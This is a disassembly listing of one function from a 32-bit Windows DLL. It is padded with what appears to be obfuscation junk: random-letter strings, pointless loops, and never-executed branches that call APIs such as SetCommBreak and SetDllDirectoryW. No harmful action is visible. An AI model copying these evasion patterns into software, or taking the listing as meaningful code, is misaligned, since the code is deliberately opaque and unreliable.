inc edi
push 0
pop ebx
cmp edi, 0x6ed0
jl 0x10040fa3
push 2
pop ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], ecx
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x38], 0xa78
jge 0x10041019
mov edx, str.warpyvhdl_ocdgb_vjpxhzjs_ttlmf_hostlid_avhznqdlr_ycbfegi_namsryadu_ihz_lncnnmvuv_jaxeheetq_kbc
mov ecx, 0x1007bfb8
call fcn.10010bec
push 2
pop ecx
push 0xc
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x3c], 0x3fa0
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x28], eax
jmp 0x100410c0
mov dword [ebp - 0x2c], ebx
jmp 0x1004106f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x16c], 0xb389fa18
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1004105e
mov eax, dword [ebp - 0x40]
mov ecx, 0xec2cfccf
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x138]
cmp ecx, eax
mov eax, dword [ebp - 0x16c]
sbb edx, edx
add edx, 0x81b70039
neg edx
push 2
sbb edx, edx
add edx, 0x495228f9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x28]
pop ecx
cmp dword [ebp - 0x28], 0x2b
jl 0x10041059
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100410da
push 0xddc
call dword [sym.imp.USER32.dll_MessageBeep]
inc dword [ebp - 0x1c]
jmp 0x10040f87
cmp dword [ebp - 0x30], 0x358
jge 0x100410f4
push dword [ebp - 0x34]
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x54], ebx
push 8
pop edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0xe18bd2e8
mov dword [ebp - 0x30], 4
cmp dword [ebp - 0x28], 0xad6
jne 0x100412a3
push 1
lea ecx, [ebp - 0xe0]
call fcn.1000e06f
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x30], 0xdb
cmp dword [ebp - 0x30], 0x10f
jle 0x1004119e
push 0xfab
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x274]
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10041174
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x274]
call fcn.1000e875
inc edi
cmp edi, 0x4169
jl 0x10041159
inc esi
cmp esi, 0x58fd
jl 0x10041157
push 8
pop edi
mov dword [ebp - 0x1c], ebx
jmp 0x100411b6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xe0]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100411a3
cmp dword [ebp - 0x30], 0x3e
jge 0x100411cd
push str.vpuwtszx_sivo_hbmpqb_hkahfxfn_ocju_cluogjm_djlsk
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x10041292
mov dword [ebp - 0x18], 0x70a77c87
mov dword [ebp - 0x1c], ebx
jmp 0x100411fd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10c], 0xfff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100411ec
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10041261
dec dword [ebp - 0x10c]
mov dword [ebp - 0x24], ebx
jmp 0x10041256
mov dword [ebp - 0x1c], 0xde9e8436
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1004122d
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], ebx
jl 0x10041253
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x1c]
jns 0x10041239
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jle 0x10041216
dec dword [ebp - 0x18]
jns 0x1004120b
mov dword [ebp - 0x24], ebx
jmp 0x10041284
mov dword [ebp - 0x18], ebx
jmp 0x1004127c
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe0]
cmp dword [eax + ecx*4], ebx
jne 0x10041281
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1004126b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10041266
dec dword [ebp - 0x28]
jns 0x100411e0
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0xc
call fcn.1000e145
jmp 0x100412a9
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x100412cd
cmp dword [ebp - 0x28], ebx
jne 0x100412cd
mov edx, ebx
jmp 0x100412d0
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
push 0x5f
sete cl
xor edx, edx
cmp ecx, 0xfffffff7
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
sub edx, 0x7533e983
cmp edx, eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], 0x38
pop eax
mov word [ebp - 0x70], ax
setle cl
mov dword [ebp - 0x30], ecx
xor eax, eax
mov word [ebp - 0x6e], ax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x40], 0x452a26f3
mov dword [ebp - 0x34], 0x1637c1d6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], 0x70512a30
mov dword [ebp - 0x1c], ebx
jmp 0x10041353
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10041346
push 2
pop esi
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], ebx
jl 0x1004143a
mov dword [ebp - 0x30], 1
lea ecx, [ebp - 0xec]
mov dword [ebp - 0x34], 1
push esi
call fcn.1000e06f
mov dword [ebp - 0x3c], 0x145b
mov dword [ebp - 0x38], 0x35c52658
mov dword [ebp - 0x1c], ebx
jmp 0x100413a8
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xec]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10041395
mov eax, dword [ebp - 0xd0]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xcc]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0xec]
setl cl
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0xd4]
je 0x100413e4
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x18]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0xec]
setg dl
xor ecx, ecx
cmp edx, dword [eax + 4]
mov eax, dword [ebp - 0x24]
setg cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
cmp dword [ebp - 0x34], eax
sete cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xec]
call fcn.1000e145
dec dword [ebp - 0x2c]
jns 0x10041368
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1004144a
push ebx
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
xor eax, eax
mov dword [ebp - 0x170], 7
mov word [ebp - 0x184], ax
lea ecx, [ebp - 0x184]
lea eax, [ebp - 0x70]
mov dword [ebp - 0x174], ebx
push eax
call fcn.10019c41
push esi
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x16
call fcn.1000e06f
mov dword [ebp - 0x1c], 9
mov eax, 0x6d8ff8cd
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x18], ebx
jmp 0x100414be
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc8]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100414ab
mov dword [ebp - 0x18], ebx
jmp 0x100414d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 0xf3ac9d73
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100414c8
mov edx, dword [ebp - 0xc8]
xor ecx, ecx
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 4]
cmp eax, dword [edx]
setge cl
test ecx, ecx
jle 0x10041504
cmp dword [ebp - 0x1c], ebx
jne 0x10041504
xor ecx, ecx
mov esi, ebx
inc ecx
jmp 0x10041509
xor ecx, ecx
inc ecx
mov esi, ecx
xor eax, eax
cmp esi, 0xce4b
setge al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x1f0], ecx
mov esi, dword [eax]
cmp esi, ecx
jle 0x10041532
mov eax, ebx
test esi, esi
je 0x10041534
mov eax, ecx
sub eax, dword [edx + 4]
je 0x1004153d
test esi, esi
jne 0x1004153f
mov ecx, ebx
mov dword [ebp - 0x154], ecx
lea ecx, [ebp - 0xc8]
call fcn.1000e145
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x1c], 0x61928c17
mov dword [ebp - 0x30], 0x16580849
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10041579
push ebx
push 0x1222
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
mov dword [ebp - 0x1c], ebx
jmp 0x10041594
mov dword [ebp - 0x34], 3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jg 0x1004157e
push dword [ebp - 0xf4]
cmp dword [ebp - 0xf0], edi
lea eax, [ebp - 0x104]
push ebx
cmovae eax, dword [ebp - 0x104]
lea ecx, [ebp - 0x1cc]
push eax
call fcn.10019cc9
cmp eax, 0xffffffff
je 0x100415df
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x184]
push ecx
push 1
push eax
lea ecx, [ebp - 0x1cc]
call fcn.1001123f
jmp 0x1004159a
mov ecx, dword [ebp - 0x78]
lea eax, [ebp - 0x1cc]
push eax
lea edx, [ebp - 0x19c]
call fcn.1004183e
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x184]
call fcn.1000ea49
push ebx
push 1
lea ecx, [ebp - 0x104]
call fcn.1000ea49
push ebx
push 1
lea ecx, [ebp - 0x1cc]
call fcn.1000ea49
push ebx
push 1
lea ecx, [ebp - 0x19c]
call fcn.1000ea49
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret